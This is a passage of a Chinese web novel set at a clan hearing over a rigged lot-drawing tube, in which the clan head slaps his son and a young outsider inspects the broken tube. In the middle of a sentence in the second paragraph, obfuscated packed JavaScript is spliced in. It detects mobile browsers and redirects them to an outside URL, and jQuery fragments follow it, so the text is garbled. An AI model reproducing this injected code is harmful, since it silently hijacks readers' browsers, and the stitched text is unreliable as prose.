方才两位年轻后生关于抽签公正与否的辩论还在耳边，现下堂内姜织的指控，姜尧生粗暴的举动，竟无不言中这外来卖油郎所说。 “干什么，这是干什么呢！”陈知春在门口看着，心一下提到嗓子眼，嘴里打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054520|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣道：“族长少爷当着这么多人面儿要打人啊？真是开了眼了。” “今日你族里到底是升堂审案，还是摆台唱戏，给大家表演一下屈打成招，灭口销赃的？我还没听明白怎么回事呢，怎么话没说两句，就要动手打人了啊，莫不是说到痛处，恼羞成怒了吧。” 姜克从来时的忍性、豁达此刻一扫而光，他黑沉着脸，走到堂前，狠狠盯着这两个作威作福惯了、脑子被狗吃了的儿子。 在满祠堂人屏息的注视下，姜克从一步步走到堂前。 “啪！” 一记清脆响亮的耳光声响起。 姜织倏然睁大了眼睛。 不错，这回姜克从长进了。当着赵南舫的面，这巴掌不是冲她们家里人来的，而是甩在了他家大儿姜尧生脸上。 姜尧生头脸微偏，一边脸庞火辣辣的痛感传来，他眼里满是不敢置信，场上众人均呆怔当场。 “姜织，你再说一次，好好说，那签筒怎么了？” 打完大儿那一巴掌，姜克从缓缓转过身，认认真真又问了她一次。 姜季福满脸焦急地示意侄儿姜十文，赶紧去将姜尧生两弟兄劝到一边去。姜良生也从未见过爹如此震怒，自觉心虚，不敢再惹怒他爹，拉着不甘的兄长退到一边。 “族长，那签筒......”姜织看了眼姜克从，开口道。 “想清楚了，好好说，慢慢说，”姜克从强调。 姜季福又赶紧跟姜织使眼色，族长都当众打了自己儿子给你出气了，见好就收吧！给你递了梯子，识时务赶紧顺着下，真跟族长对着干，难道真以为赵南舫一个穷酸里正能护着你不成？ 屋内外的人都在盯着姜织，等着她嘴里的话。 签筒里有没有机关，经过姜尧生那欲盖弥彰的一打，明眼人谁还不懂？连刚才一直替族里规矩辩解的姚献，此刻也抿紧了嘴唇，脸色不善地盯着姜织，眼神复杂。 但今日闹到了这境况，谁不想说一句见好就收罢？ 说没有问题吧，服个软，承认不过是你家运道不好，所以想要争一口气而已。 何必让整个族里沦为十里八乡的笑柄。 一片沉默，就在姜织嘴唇微动，似乎要开口的刹那—— “是真是假，捡起来看看，不就清楚了？” 只见门槛那位年轻后生又是清朗一声，少年郎抱着手站在人群里，身姿挺拔，鹤立鸡群，带着几分打趣的笑意。 “你哪位？”姜克从霍然转头。 “我？”陈知春眉梢一挑，看向姚献和李文远，“我同他们一样呀。” 这句话说得含糊，姚献和姜克从的眉头同时一皱，姚献想要开口划清界限，但显然多一事不如少一事，暗忍一口气撇过头。 话未落音，陈知春三两步踏进门槛，伸手捡起那跌落的竹签筒。 姜克从心头一沉，方才姜季福一进门就同他说了，陈移桃那准女婿来了，结伴的还有落雁村里正的儿子，此刻冒出来的青年，生得剑眉星目，眼神清亮，既是同他们一道来的，身份不明，也不好轻易得罪。 姜织到嘴边的话也被这后生突如其来的举动打断。 众目睽睽之下，陈知春将签筒拿在手里，左右翻看了一下，还用手指在筒身敲了敲，侧耳听了听声，说：“摔得挺狠，给摔坏了。” 族老们心头刚刚微微一松。 下一瞬，陈知春的手指却顺着那道裂缝，探入筒内，似乎在摸索什么。片刻后，他手指停住，轻轻一抠。 “咔嗒。”